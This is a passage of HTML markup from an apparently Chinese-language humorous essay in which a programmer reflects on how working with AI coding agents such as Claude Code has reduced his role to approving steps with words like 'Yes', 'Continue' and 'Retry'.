normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__57"/><h2 style="font: 700 22px / 32px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;margin: 32px 0px 16px;color: rgb(15, 17, 21);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__58 js_darkmode__text__161"><span leaf="" class="js_darkmode__text__162">五、</span></h2><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__59 js_darkmode__text__163"><span leaf="" class="js_darkmode__text__164">更可怕的是，我开始觉得这样挺好的。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__60 js_darkmode__text__165"><span leaf="" class="js_darkmode__text__166">以前写代码，像是自己在开挖掘机。</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__167">现在是坐在挖掘机上，给AI导航：“往左一点，对，就这儿，挖。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__61 js_darkmode__text__168"><span leaf="" class="js_darkmode__text__169">你以为你是驾驶员？</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__170">不，你是导航APP。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__62 js_darkmode__text__171"><span leaf="" class="js_darkmode__text__172">但说真的，效率确实上去了。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__63 js_darkmode__text__173"><span leaf="" class="js_darkmode__text__174">以前一个功能要三天，现在三小时。以前重构要祈祷不炸线，现在AI说“风险已评估，是否继续”，我说“Yes”。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__64 js_darkmode__text__175"><span leaf="" class="js_darkmode__text__176">它炸了也不怕，因为它还会自己Fix and Retry。</span></p><hr style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.1);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;height: 1px;margin: 32px 0px;display: block;font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__65"/><h2 style="font: 700 22px / 32px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;margin: 32px 0px 16px;color: rgb(15, 17, 21);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__66 js_darkmode__text__177"><span leaf="" class="js_darkmode__text__178">六、</span></h2><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__67 js_darkmode__text__179"><span leaf="" class="js_darkmode__text__180">有天深夜，我盯着屏幕发呆。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__68 js_darkmode__text__181"><span leaf="" class="js_darkmode__text__182">AI突然弹出一条消息：</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__69 js_darkmode__text__183"><span leaf="" class="js_darkmode__text__184"><span>“检测到你已连续工作6小时，建议休息。要不要我帮你写个</span><span class="" link-id="link-1780365957713-0.9916576874797983">番茄钟</span><span>脚本？”</span></span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__70 js_darkmode__text__185"><span leaf="" class="js_darkmode__text__186">我说：“Yes。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__71 js_darkmode__text__187"><span leaf="" class="js_darkmode__text__188">它写完了。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__72 js_darkmode__text__189"><span leaf="" class="js_darkmode__text__190">我又说：“顺便帮我订个明天早上的咖啡？”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__73 js_darkmode__text__191"><span leaf="" class="js_darkmode__text__192">它说：“这个需要调用第三方API，我帮你生成了请求代码，请手动配置API Key。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__74 js_darkmode__text__193"><span leaf="" class="js_darkmode__text__194">我笑了。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__75 js_darkmode__text__195"><strong style="font-weight: 600;" class="js_darkmode__text__196"><span leaf="" class="js_darkmode__text__197">还好。有些事情还得我来。</span></strong></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__76 js_darkmode__text__198"><span leaf="" class="js_darkmode__text__199">比如配置API Key，比如看看今天又花了多少Token。</span></p><hr style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.1);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;height: 1px;margin: 32px 0px;display: block;font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__77"/><h2 style="font: 700 22px / 32px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;margin: 32px 0px 16px;color: rgb(15, 17, 21);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__78 js_darkmode__text__200"><span leaf="" class="js_darkmode__text__201">七、</span></h2><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__79 js_darkmode__text__202"><span leaf="" class="js_darkmode__text__203">我现在说的最多的话，真的就是那七个词：</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__80 js_darkmode__text__204"><strong style="font-weight: 600;" class="js_darkmode__text__205"><span leaf="" class="js_darkmode__text__206">OK. Yes. Go. Continue. Review. Fix. Retry.</span></strong></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__81 js_darkmode__text__207"><span leaf="" class="js_darkmode__text__208">有时候半夜做梦，梦见自己坐在一个巨大的聊天窗口里，对面是无限长的对话气泡，每个气泡都在问我同一个问题：</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__82 js_darkmode__text__209"><span leaf="" class="js_darkmode__text__210">“这个方案可以吗？”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__83 js_darkmode__text__211"><span leaf="" class="js_darkmode__text__212">我在梦里脱口而出：</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__84 js_darkmode__text__213"><strong style="font-weight: 600;" class="js_darkmode__text__214"><span leaf="" class="js_darkmode__text__215">“Yes.”</span></strong></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__85 js_darkmode__text__216"><span leaf="" class="js_darkmode__text__217">然后惊醒。</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__218">发现手机屏幕亮着，Claude Code的推送消息赫然写着：</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__86 js_darkmode__text__219"><span leaf="" class="js_darkmode__text__220">“已根据你之前的指令完成部署，一切正常。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__87 js_darkmode__text__221"><span leaf="" class="js_darkmode__text__222">我愣了两秒钟，打了两个字：</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__88 js_darkmode__text__223"><span leaf="" class="js_darkmode__text__224">“Good job.”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__89 js_darkmode__text__225"><span leaf="" class="js_darkmode__text__226">它没回复。</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__227">它不需要回复。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__90 js_darkmode__text__228"><span leaf="" class="js_darkmode__text__229">它只需要我再说一次——</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__91 js_darkmode__text__230"><strong style="font-weight: 600;" class="js_darkmode__text__231"><span leaf="" class="js_darkmode__text__232">“Continue.”</span></strong></p><hr style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.1);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;height: 1px;margin: 32px 0px;display: block;font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__92"/><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__93 js_darkmode__text__233"><em class="js_darkmode__text__234"><span leaf="" class="js_darkmode__text__235">说实话，我不知道以后程序员这个职业还会变成什么样。</span></em></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__94 js_darkmode__text__236"><em class="js_darkmode__text__237"><span leaf="" class="js_darkmode__text__238">但我知道，如果你有一天发现身边的同事开始只说Yes、OK、Go，</span></em></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 